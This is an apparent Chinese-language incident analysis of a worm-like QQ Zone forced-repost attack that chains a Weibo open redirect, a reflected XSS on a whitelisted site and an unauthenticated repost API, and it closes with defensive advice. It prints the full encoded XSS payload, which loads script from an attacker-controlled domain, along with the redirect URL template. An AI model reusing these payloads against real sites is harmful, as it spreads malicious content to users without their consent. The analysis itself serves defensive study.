QQ空间流氓转发攻击链分析

攻击概述

这是一起利用多个漏洞组合实现的QQ空间恶意转发攻击，攻击者通过精心构造的URL链，诱使用户点击后自动转发色情/博彩内容。攻击涉及微博任意URL跳转、白名单网站XSS漏洞和QQ空间API滥用。

攻击链分解

1. 初始触发点

攻击始于QQ空间内分享的一个看似正常的链接，实际隐藏了恶意代码。

2. 微博任意URL跳转漏洞

• 漏洞URL格式：https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=[恶意URL]
• 这是一个微博的URL跳转接口，未对目标URL进行充分验证
• 攻击者利用此接口将用户从QQ空间重定向到恶意网站

3. 白名单网站XSS漏洞

攻击者选择了一个在QQ空间白名单内的网站(www.whitedomin.com)，该网站存在反射型XSS漏洞：

• 漏洞参数：gourl
• 攻击者构造的恶意payload：

  https://www.whitedomin.com/member/index.php?gourl=%2F%2Fst.whitedomin.com%2Fpost-624.html%22%7d%29%7d%2bwindow%5b%22eval%22%5d%28atob%28%22ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwczovL2ltZy5kYWZlaWJsb2cuY29tL3dlYi9pZi5waHAnPjwvc2NyaXB0PiIp%22%29%29%2bfunction%28%29%7b$.post%28%7b1:%22&r=1561387991&business=#123
  

解码后的XSS payload：

document.write("<script src='https://img.dafeiblog.com/web/if.php'></script>")

4. 恶意域名执行

• 最终跳转到攻击者控制的域名(img.dafeiblog.com)
• 该域名伪造腾讯安全拦截页面，欺骗用户
• 植入的恶意JS代码执行以下操作：
  • 自动跳转到博彩网站
  • 调用QQ空间转发API进行强制转发
  • 在部分低版本QQ/安卓系统上会直接转发，无确认提示
  • 在高版本上会不断弹出转发确认框，即使用户拒绝也会反复弹出

技术要点分析

1. 绕过QQ空间URL检测机制：

   • 利用微博在白名单内的优势
   • 通过302跳转链式传递恶意URL
   • 最终阶段通过XSS动态加载恶意代码，绕过静态检测

2. XSS利用技巧：

   • 使用Base64编码隐藏恶意代码
   • 通过document.write动态加载外部JS
   • 利用jQuery的$.post方法发送请求

3. QQ空间API滥用：

   • 攻击者发现了未受保护的转发API接口
   • 无需用户认证即可调用转发功能
   • 实现了1-click蠕虫效果

防御建议

1. 对于普通用户：

   • 不要点击不明来源的链接
   • 及时更新QQ客户端到最新版本
   • 发现异常弹窗应立即结束QQ进程

2. 对于开发者：

   • 严格验证重定向目标URL
   • 对第三方API调用增加CSRF防护
   • 实施更严格的白名单机制
   • 对动态加载的JS内容进行检测

3. 对于企业：

   • 定期进行安全审计
   • 建立漏洞奖励计划
   • 及时修复发现的XSS等漏洞

总结

这是一起典型的链式漏洞利用案例，攻击者巧妙组合了多个中低危漏洞，最终实现了高危的蠕虫式传播效果。这种攻击方式展示了现代Web攻击的复杂性，也提醒我们在安全设计中需要考虑整个生态系统的安全性，而不仅仅是单个应用的安全。